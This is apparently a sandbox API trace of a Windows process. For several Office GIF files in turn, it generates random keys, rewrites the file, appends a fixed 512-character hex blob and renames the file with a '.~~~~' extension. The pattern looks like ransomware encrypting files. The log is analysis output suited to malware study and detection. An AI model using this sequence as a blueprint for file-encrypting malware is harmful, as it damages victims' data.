	[0128.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.663] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24865277567) returned 1
	[0128.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6250ed0, dwHighDateTime=0x1d60e1e)) 
	[0128.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aca18
	[0128.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aca18 | out: hHeap=0x300000) returned 1
	[0128.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2806350
	[0128.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806350 | out: hHeap=0x300000) returned 1
	[0128.663] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.664] GetLastError () returned 0x0
	[0128.664] GetLastError () returned 0x0
	[0128.664] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.664] GetLastError () returned 0x0
	[0128.664] GetLastError () returned 0x0
	[0128.665] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff53, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.666] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xad, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xad, lpOverlapped=0x0) returned 1
	[0128.668] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.668] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.668] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.668] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.668] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.668] CloseHandle (hObject=0x13c) returned 1
	[0128.669] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2806350
	[0128.669] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21435_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21435_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21435_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21435_.gif.~~~~")) returned 1
	[0128.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806350 | out: hHeap=0x300000) returned 1
	[0128.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.678] GetLastError () returned 0x0
	[0128.678] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.679] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.679] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.679] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.680] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24866969667) returned 1
	[0128.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6277030, dwHighDateTime=0x1d60e1e)) 
	[0128.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aca50
	[0128.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aca50 | out: hHeap=0x300000) returned 1
	[0128.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28063f8
	[0128.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28063f8 | out: hHeap=0x300000) returned 1
	[0128.680] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.681] GetLastError () returned 0x0
	[0128.681] GetLastError () returned 0x0
	[0128.681] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.681] GetLastError () returned 0x0
	[0128.681] GetLastError () returned 0x0
	[0128.683] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffeb2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.683] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x14e, lpOverlapped=0x0) returned 1
	[0128.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.685] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.685] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.686] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.686] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.686] CloseHandle (hObject=0x13c) returned 1
	[0128.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28063f8
	[0128.686] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21480_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21480_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21480_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21480_.gif.~~~~")) returned 1
	[0128.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28063f8 | out: hHeap=0x300000) returned 1
	[0128.687] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.687] GetLastError () returned 0x0
	[0128.688] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.689] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.689] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.689] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24867931836) returned 1
	[0128.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb6277030, dwHighDateTime=0x1d60e1e)) 
	[0128.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3acb30
	[0128.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acb30 | out: hHeap=0x300000) returned 1
	[0128.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28064a0
	[0128.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28064a0 | out: hHeap=0x300000) returned 1
	[0128.690] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.690] GetLastError () returned 0x0
	[0128.690] GetLastError () returned 0x0
	[0128.691] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.691] GetLastError () returned 0x0
	[0128.691] GetLastError () returned 0x0
	[0128.692] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff15, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.693] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xeb, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xeb, lpOverlapped=0x0) returned 1
	[0128.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.697] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.697] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.697] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.697] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.697] CloseHandle (hObject=0x13c) returned 1
	[0128.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28064a0
	[0128.698] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21481_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21481_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21481_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21481_.gif.~~~~")) returned 1
	[0128.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28064a0 | out: hHeap=0x300000) returned 1
	[0128.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.699] GetLastError () returned 0x0
	[0128.700] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.701] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.701] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.701] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24869158387) returned 1
	[0128.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb629d190, dwHighDateTime=0x1d60e1e)) 
	[0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bcf0
	[0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bcf0 | out: hHeap=0x300000) returned 1
	[0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2806548
	[0128.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806548 | out: hHeap=0x300000) returned 1
	[0128.702] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.703] GetLastError () returned 0x0
	[0128.703] GetLastError () returned 0x0
	[0128.703] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.703] GetLastError () returned 0x0
	[0128.703] GetLastError () returned 0x0
	[0128.705] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff09, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.705] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xf7, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xf7, lpOverlapped=0x0) returned 1
	[0128.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.707] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.707] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.708] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.708] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.708] CloseHandle (hObject=0x13c) returned 1
	[0128.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2806548
	[0128.708] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21482_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21482_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21482_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21482_.gif.~~~~")) returned 1
	[0128.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2806548 | out: hHeap=0x300000) returned 1
	[0128.710] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.710] GetLastError () returned 0x0
	[0128.710] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0128.711] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.711] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0128.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0128.712] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24870172644) returned 1
	[0128.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb62c32f0, dwHighDateTime=0x1d60e1e)) 
	[0128.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0128.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0128.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0128.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bd28
	[0128.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bd28 | out: hHeap=0x300000) returned 1
	[0128.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28065f0
	[0128.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.713] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28065f0 | out: hHeap=0x300000) returned 1
	[0128.713] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0128.713] GetLastError () returned 0x0
	[0128.713] GetLastError () returned 0x0
	[0128.713] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0128.713] GetLastError () returned 0x0
	[0128.714] GetLastError () returned 0x0
	[0128.719] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.719] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xfe, lpOverlapped=0x0) returned 1
	[0128.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.722] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.722] WriteFile (in: hFile=0x13c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.722] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.722] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.722] CloseHandle (hObject=0x13c) returned 1
	[0128.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28065f0
	[0128.722] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21503_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21503_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21503_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21503_.gif.~~~~")) returned 1
	[0128.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28065f0 | out: hHeap=0x300000) returned 1
	[0128.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0128.725] GetLastError () returned 0x0
